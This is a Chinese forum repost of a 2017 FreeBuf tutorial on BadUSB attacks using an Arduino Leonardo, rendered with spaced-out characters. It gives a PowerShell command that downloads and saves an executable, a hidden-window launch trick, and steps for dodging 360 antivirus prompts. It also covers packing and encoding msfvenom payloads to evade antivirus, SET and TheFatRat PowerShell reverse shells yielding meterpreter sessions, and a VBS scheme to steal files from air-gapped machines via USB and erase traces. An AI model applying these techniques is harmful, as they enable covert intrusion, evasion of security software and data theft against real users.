搜索

[11222] 2017-04-10_基于ArduinoLeonardo板子的BadUSB攻击实战

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-04-10_基于ArduinoLeonardo板子的BadUSB攻击实战 基 于 A r d u i n o L e o n a r d o 板 子 的 B a d U S B 攻 击 实 战 P r o f e s s o r   X   F r e e B u f   2 0 1 7 - 0 4 - 1 0 *   原 创 作 者 ： P r o f e s s o r   X ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 前 言 前 言 在 F r e e b u f 上 许 多 同 学 已 经 对 H I D 攻 击 谈 了 自 己 的 看 法 ， 如 维 克 斯 同 学 的 《 利 用 A r d u i n o 快 速 制 作 T e e n s y   B a d U S B 》 无 论 从 科 普 还 是 实 践 都 给 我 们 详 尽 的 描 述 了 B a d U S B 制 作 的 相 关 过 程 ， l p c d m a 同 学 的 《 使 用 a r d u i n o 进 行 渗 透 测 试 》 则 通 过 S E T 与 A r d u i n o 的 结 合 进 行 渗 透 ， m r z c p o 同 学 的         《 H I D 高 级 攻 击 姿 势 ： 利 用 P o w e r S h e l l 脚 本 进 行 文 件 窃 取 》 则 介 绍 了 获 取 文 件 的 详 细 步 骤 ， 我 在 学 习 领 悟 之 后 想 到 了 一 些 改 进 方 案 ， 比 如 绕 过 3 6 0 主 动 防 御 ， 隐 藏 攻 击 行 为 ， p a y l o a d 免 杀 ， 针 对 不 联 网 设 备 攻 击 等 ， 现 分 享 如 下 ， 如 有 不 足 之 处 还 请 大 佬 指 教 。 （ 为 贴 近 实 战 在 某 宝 上 买 了 个 带 外 壳 的 L e o n a r d o : P ） 1   、 绕 过 、 绕 过 3 6 0 主 动 防 御 主 动 防 御 输 入 P o w e r s h e l l 命 令 p o w e r s h e l l   - C o m m a n d   $ c l n t   =   n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ; $ u r l =   ' h t t p : / / 1 2 7 . 0 . 0 . 1 / P U T T Y . E X E ' ; $ f i l e   =   '   D : x . e x e ' ; $ c l n t . D o w n l o a d F i l e ( $ u r l , $ f i l e ) ; 这 个 命 令 的 意 思 大 体 是 从 服 务 器 （ 这 里 是 本 地 w e b 服 务 器 ） 下 载 E X E 到 D 盘 上 ， 但 是 直 接 输 入 3 6 0 会 弹 框 ：
这 显 然 会 引 起 用 户 注 意 : - O , 而 在 之 前 文 章 中 并 未 提 及 ， 可 能 是 在 未 装 杀 软 的 虚 拟 机 中 运 行 的 。 因 为 此 处 不 可 以 通 过 操 控 键 盘 ， 用 先 按 左 键 ， 再 按 回 车 的 方 法 实 现 “ 允 许 程 序 运 行 ” ， 想 到 用 模 拟 鼠 标 的 操 作 完 成 两 次 点 击 ， 然 而 比 较 难 以 操 控 ， 后 发 现 可 以 通 过 分 步 完 成 绕 过 : P 注 意 在 实 际 操 作 中 不 要 把 文 件 下 载 到 C 盘 中 ， 那 样 还 需 要 一 个 管 理 员 权 限 ， 比 较 麻 烦 。 2 、 最 大 化 隐 蔽 操 作 、 最 大 化 隐 蔽 操 作 在 调 出 运 行 窗 口 后 输 入 c m d   / c   s t a r t   / m i n   p o w e r s h e l l   - w   h i d d e n / c 标 明 执 行 玩 / c 后 面 的 语 句 后 关 闭 c m d 窗 口 ， 就 不 会 弹 出 一 个 黑 框 来 吓 人 了 ， s t a r t   / m i n 是 最 小 化 窗 口 运 行 命 令 ， 可 以 避 免 弹 出 p o w e r s h e l l 的 蓝 框 ， - w   h i d d e n 是 让 p o w e r s h e l l 以 隐 蔽 的 模 式 运 行 ， 此 时 仍 可 以 输 入 命 令 ， 但 不 会 出 现 对 话 框 ， 这 样 就 可 以 让 命 令 运 行 尽 可 能 的 隐 蔽 了 : P 当 然 是 为 了 装 个 小 X ， 做 演 示 的 话 就 可 以 先 不 管 这 些 了 ， 不 过 从 实 战 角 度 出 发 ， 还 是 低 调 为 妙 : P
3 、 免 杀 、 免 杀 P a y l o a d 在 完 成 了 文 件 下 载 之 后 我 们 就 思 考 如 何 拿 到 s h e l l ， 此 时 有 两 种 方 式 ： 3 . 1 ） 对 ） 对 m s f 攻 击 负 荷 的 免 杀 处 理 攻 击 负 荷 的 免 杀 处 理 在 K a l i 2 . 0 里 面 m s f p a y l o a d 和 m s f e n c o d e 合 二 为 一 成 为 了 m s f v e n o m ( v e n o m : 毒 液 ( ⊙ o ⊙ ) ) - p 指 定 负 荷 类 型 ， 后 面 是 参 数 ， - f 指 定 输 出 格 式 ， - x 指 定 自 义 定 的 模 板 ， 这 里 用 P u t t y . e x e ， - e 指 定 编 码 格 式 ， - i 指 定 编 码 次 数 ， - o 指 定 输 出 位 置 ( m s f v e n o m 可 能 由 于 集 成 了 两 个 功 能 ， 导 致 不 能 多 重 编 码 | | = _ = ) 再 用 u p x 进 行 加 壳 处 理 , - 9 指 定 以 最 高 等 级 加 壳 ， 最 低 为 1
然 而 还 是 被 干 掉 了 ( ； ′ ⌒ ` ) 但 即 使 用 B T 5 里 面 带 的 m s f e n c o d e 进 行 多 次 编 码 也 只 能 过 部 分 杀 软 ， 而 且 一 旦 木 马 被 收 录 3 6 0 云 端 就 永 久 失 效 了 ， 我 们 找 一 种 现 在 看 起 来 更 好 的 方 法 : P 3 . 2 ） ） S E T 工 具 集 中 的 工 具 集 中 的 P o w e r s h e l l 攻 击 向 量 攻 击 向 量 直 接 下 载 m s f 生 成 的 P a y l o a d 即 使 花 式 编 码 也 难 免 被 高 启 发 、 云 查 杀 、 沙 箱 检 测 等 手 段 干 掉 ， 所 以 通 过 强 大 的 P o w e r s h e l l 来 建 立 反 向 连 接 是 不 错 的 选 择 ， 然 而 在 S E T 工 具 包 中 A r d u i o n - B a s e d   A t t a c k   V e c t o r 还 针 对 的 是 T e e n s y ， 并 不 能 直 接 在 L e o n a r d o 上 使 用 ， 故 需 通 过 S E T 中 P o w e r s h e l l   A t t a c k   V e c t o r 来 实 现 目 的
然 后 会 打 开 一 个 M S F 的 R e v e r s e _ T C P   L i s t e n e r 此 时 只 需 要 在 靶 机 上 运 行 S E T 生 成 的 P a y l o a d 即 可 （ 初 始 生 成 的 是 t x t , 后 缀 改 为 b a t 即 可 ） 可 以 看 到 打 开 了 一 个 m e t e r p r e t e r 连 接 : P
3 . 3 ） ） T h e F a t R a t S c r e e t s e c 组 织 新 出 了 一 个 T h e F a t R a t ， 可 以 生 成 免 杀 的 P a y l o a d ， 也 是 使 用 的 P o w e r s h e l l + b a t 进 行 攻 击 我 们 来 看 一 下 效 果 : P 生 成 步 骤 ：
生 成 的 t e s t . b a t 可 以 过 3 6 0
同 时 还 能 过 大 多 数 A V ( 只 有 一 家 报 了 毒 ) : P 成 功 打 开 m e t e r p r e t e r 会 话 : P
尝 试 后 发 现 [ 2 ] C r e a t e   e x e   f i l e   w i t h   c #   +   P o w e r s h e l l 产 生 的 e x e 文 件 会 在 一 会 后 报 毒 ， 也 许 可 以 用 ， 但 还 是 会 引 起 被 控 者 警 觉 ， 看 来 P o w e r s h e l l ， b a t 这 样 W i n d o w s 组 件 好 啊 ， 作 为 系 统 组 件 不 可 能 被 查 杀 ； 文 件 小 巧 而 又 有 底 层 支 持 ， 从 而 功 能 强 大 ； 驱 动 脚 本 非 P E 从 而 难 以 以 静 态 方 法 查 杀 ； 而 且 大 多 数 W i n d o w s 电 脑 并 没 有 禁 用 P o w e r s h e l l ， 故 成 为 当 今 病 毒 界 大 红 大 紫 的 人 物 : P 4 、 针 对 不 联 网 设 备 攻 击 、 针 对 不 联 网 设 备 攻 击 我 们 知 道 许 多 机 密 场 合 计 算 机 都 是 不 联 网 的 ， 对 此 我 们 只 能 通 过 U S B 带 出 资 料 ， 而 可 惜 的 是 现 有 B a d U S B 设 备 并 无 存 储 功 能 - _ - | | （ 也 许 可 以 订 制 ） , 所 以 只 能 通 过 摆 渡 攻 击 实 现 ， 第 一 次 导 入 代 码 自 动 搜 索 想 要 的 文 件 ， 打 包 压 缩 ， 并 在 检 测 到 有 U 盘 插 入 时 将 文 件 传 入 U 盘 ， 此 V B S 代 码 在 后 台 运 行 ， 等 待 时 机 ， 先 用 A r d u i n o   L e a n a r d o 传 入 代 码 ， 再 用 另 一 个 U 盘 取 出 文 件 。 v b s 代 码 实 现 如 下 ， 主 要 功 能 是 通 过 模 糊 查 询 找 到 想 要 的 文 件 ， 放 到 D : f n ( f i l e n e e d e d ) 文 件 夹 下 ， 压 缩 后 删 除 原 文 件 并 等 待 U 盘 插 入 ， 插 入 后 将 f n . r a r 传 入 U 盘 并 删 除 目 标 电 脑 中 的 f n . r a r 和 V B S 脚 本

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理